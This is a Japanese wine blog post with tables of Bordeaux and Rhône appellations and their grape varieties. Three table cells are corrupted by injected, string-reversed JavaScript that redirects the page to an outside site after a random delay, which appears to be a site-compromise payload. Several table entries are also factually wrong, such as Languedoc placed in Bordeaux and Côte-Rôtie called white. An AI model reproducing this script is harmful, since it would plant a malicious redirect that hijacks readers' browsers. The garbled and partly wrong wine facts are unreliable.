2017/5/5 posted
ボルドー地方とローヌ地方のワイン産地＆品種早見表
以前に「ブルゴーニュ地方とロワール地方のワイン産地＆品種早見表」を公開しましたが、今回は、ボルドー地方とローヌ地方のワイン産地＆品種早見表を作ってみました。
ブルゴーニュ地方とロワール地方のワインは、単一のブドウから造られるのに対して、ボルドー地方とローヌ地方のワインは、複数の品種のブドウをブレンドして、ワインが造られます。
なんと言っても、ブルゴーニュ地方とボルドー地方がフランスワインの二大産地になりますから、ぜひ、ワイン産地＆品種早見表で知識を深めていきましょう。
ボルドー地方の産地とブドウ品種早見表
| 産地 | 種類 | ブドウ品種 |
|---|---|---|
| Bordeaux ボルドー | 赤 | メルロー、カベルネ・ソーヴィニヨン、カベルネ・フラン |
| Coteaux du Languetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doc コトー・デュ・ラングドック | 赤 | グルナッシュ、サンソー、シラー |
| Cotes de Castillon コート・ド・カスティヨンン | 赤 | メルロー、カベルネ・フラン、カベルネ・ソーヴィニヨン |
| Entre-Deux-Mers アントル・ドゥー・メール | 白 | ソーヴィニヨン・ブラン、セミヨン、ミュスカデル |
| Graves グラーヴ | 白 | ソーヴィニヨン・ブラン、セミヨン、ミュスカデル |
| Haut-Metoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doc オー・メドック | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Margaux マルゴー | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Metoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doc メドック | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Pauillac ポーイヤック | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Pessac-Leognan ペサック・レオニャン | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Pomerol ポムロール | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Saint-Emilion サンテミリオン | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Saint-Estephe サンテステフ | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Saint-Julien サン・ジュリアン | 赤 | カベルネ・ソーヴィニヨン、メルロー、カベルネ・フラン |
| Sauternes ソーテル | 白 | セミヨン、ソーヴィニヨン・ブラン、ミュスカデル |
ローヌ地方の産地とブドウ品種早見表
| 産地 | 種類 | ブドウ品種 |
|---|---|---|
| Chateauneuf-du Pape シャトーヌーフ・デュ・パープ | 赤 | グルナッシュ、シラー、ムールヴェードル |
| Condrieu コンドリュー | 白 | ヴィオニエ |
| Cote Rotie コート・ロティ | 白 | ヴィオニエ |
| Graves コート・デュ・ローヌ | 赤 | シラー、グルナッシュ、ムールヴェードル |
| Crozes-Hermitage クローズ・エルミタージュ | 赤 | シラー |
| Giondas ジゴンダス | 赤 | グルナッシュ、シラー、ムールヴェードル |
| Hermitage エルミタージュ | 赤 | シラー |
| Saint-Joseph サン・ジェゼフ | 赤 | シラー |
最後に
以上、ボルドー地方とローヌ地方のワイン産地＆品種早見表をお届けしてきましたが、いかがでしょうか？ボルドーは、その地名が色になっていますよね。ボルドーと言えば、赤ワインたる所以は理解できるかと思います。
ボルドーワインの濃く深い赤は、カベルネ・ソーヴィニヨンの色です。ブルゴーニュ地方のピノ・ノワールと比較して、知識を深めていくと、覚えやすいです。ぜひ、以下の記事も一緒に読んで頂ければと思います。
<参考>
・「覚えておきたい白ワインのブドウ品種6選！白ワインのブドウはまずこれ！」
・「あの有名ワインのブドウ品種を覚えよう！ロマネ・コンティ、ボジョレー・ヌーヴォー、ピンクのドンペリ etc..」
・「ワインの定番ピノ・ノワールとは？ピノ・ノワールがすっきり分かる知識集」
・「ワインの定番カベルネとは？カベルネ・ソーヴィニヨンがすっきり分かる知識集」
